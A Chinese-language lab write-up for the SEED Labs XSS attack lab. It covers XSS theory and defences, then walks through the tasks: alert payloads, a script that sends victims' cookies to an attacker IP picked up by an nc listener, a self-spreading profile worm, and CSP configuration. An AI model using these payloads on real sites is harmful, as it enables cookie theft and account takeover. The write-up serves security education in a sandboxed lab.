网络攻防-Web应用安全1-XSS攻击,涉及实验:SEED Labs – Cross-Site Scripting Attack Lab,代码见:https://github.com/Seanxz401/seed-labs
理论
Web应用攻击
前置知识:前后端架构、HTTP协议、请求与响应报文、HTML、Javascript、SQL
XSS
XSS攻击是由于Web应用程序对用户输入过滤不足而产生的,使得攻击者输入的特定 数据变成了JavaScript脚本或HTML代码
同源策略:A网页设置的 Cookie,B网页不能打开, 除非这两个网页”同源”。(协议相同、域名相同、端口相同)
XSS危害
- 网络钓鱼,包括盗取各类用户账户
- 窃取用户cookie,获取用户隐私信息,或利用好用户身份进行其他操作
- 会话劫持,从而执行任意操作,如非法转账、发送邮件
- 强制弹出广告页面、刷流量
- 网页挂马:攻击者将恶意脚本隐藏在Web网页中,当用户浏览该网页时,这些隐藏的恶 意脚本将在用户不知情的情况下执行,下载并启动木马程序。
- 进行恶意操作,如篡改页面信息
- 进行大量的客户端攻击,如DDOS
- 信息刺探,提取客户端信息,如浏览历史,端口信息、键盘信息
- 控制受害者机器向其他网站发起攻击
- 结合其他漏洞如CSRF
- 提升用户权限,进一步渗透网站
- 传播XSS蠕虫:将一段JavaScript代码保存在服务器上,其他用户浏览 相关信息时,会执行JavaScript代码,从而引发攻击
XSS类型
- 反射性:非持久性、参数型,将恶意脚本附加到URL参数中(可通过短地址隐藏恶意参数)
- 存储型:持久性,恶意脚本被存储在服务端的数据库中,如留言。不需要诱导受害者点击特定的url
- DOM型:基于js,不需要与服务端进行交互
XSS防范措施
- HttpOnly属性:指示浏览器禁止任何脚本访问cookie内容
- 安全编码:对特殊字符进行安全编码,如尖括号
- CSP Header:建立白名单,规定了浏览器只能够执行特定来源的代码
实验
环境准备
sudo vim /etc/hosts
,以root权限修改域名IP映射文件;docker 配置
1
2
3
4
5
6# 在docker-compose.yaml所属目录下编译
docker-compose build
# 运行容器
docker-compose up
# 查看是否开启成功
docker ps -a火狐插件:HTTP Header Live
Task1
选择一个用户(Boby)登录系统,修改用户信息Profile,在Brief Description一栏中插入XSS代码:
1 | <script>alert('XSS Task1');</script> |
切换用户Alice,查看Boby的用户信息界面,弹出弹窗:
Task2
修改Alice的Profile-Brief description
1 | <script>alert(document.cookie);</script> |
登录boby查看Alice的Profile,弹出boby当前的cookie
Task3
找到攻击者的IP(自己的10.0.2.15),插入xss代码:
1 | <script>document.write('<img src=http://10.0.2.15:5555?c=' |
本地开启监听:nc -lknv 5555
访问Profile时攻击端接收到包含cookie数据的HTTP请求信息:
Task4
查看合法的添加Friends-Samy的请求:
构造xss代码:见task4.js
登录Samy,修改Profile,将构造的代码放入About me文本框中(以HTML的形式,而不是富文本)。登录Alice,查看Samy的个人主页,一进入Profile,网页会自动发起添加Samy为朋友的请求,点开Friends就可以看到已经添加成功了:
Question:
- ts和token是发起添加朋友的请求的必要参数,能够验证请求者的身份;
- 如果About me只能输入富文本,提交的js代码如下,通过截获包并修改post数据也可以达到如上效果
Task5
查看修改profile的正常请求,获取到url和传参信息
构造xss代码(自动修改profile),见task5.js
- samyGuid:登录samy,在控制台输出
if(elgg.session.user.guid!=samyGuid)
是判断是否为攻击者自己,不能误伤了自己。
登录Alice查看Samy主页,自动发起edit请求:
查看Alice的主页,interests一栏已被修改为badminton
Task6
构造xss代码见task6.js,主要是添加了根据id获取标签内内容并作为修改内容。
登录Alice查看Samy,Alice被传播
登录Boby查看Alice,Boby被传播
Task7
根据前面修改的/etc/hosts文件,我们得到三个网址:www.example32a.com,www.example32b.com,www.example32c.com. OK表示script执行成功。
7.1 访问这三个网址
7.2 点击页面按钮
- a:弹出js代码执行成功的弹窗,因为没有CSP保护;
- b:无响应,有CSP header
- c:无响应,有CSP header
7.3 修改Apache配置文件
修改image_www/apache_csp.conf,添加*.example60.com
:
暂停容器,docker-compose build重新配置docker,docker-compose up开启。
7.4 修改php文件
修改image_www/csp/phpindex.php文件,添加'nonce-222-222-222' *.example60.com
重启docker步骤类似7.3,再次访问www.example32c.com:![image-20221112152058252](http://hexo-git.oss-cn-beijing.aliyuncs.com/img/image-20221112152058252.png)
7.5 解释CSP防止XSS攻击的原理
CSP 本质上是建立白名单,规定了浏览器只能够执行特定来源的代码;即使发生了xss攻击,也不会加载来源不明的第三方脚本。Task7中的Area1~7全是内嵌的JavaScript代码,因此引入CSP Header后将不会执行,只能通过设置白名单(Content-Security-Policy)来确认哪些脚本可放行。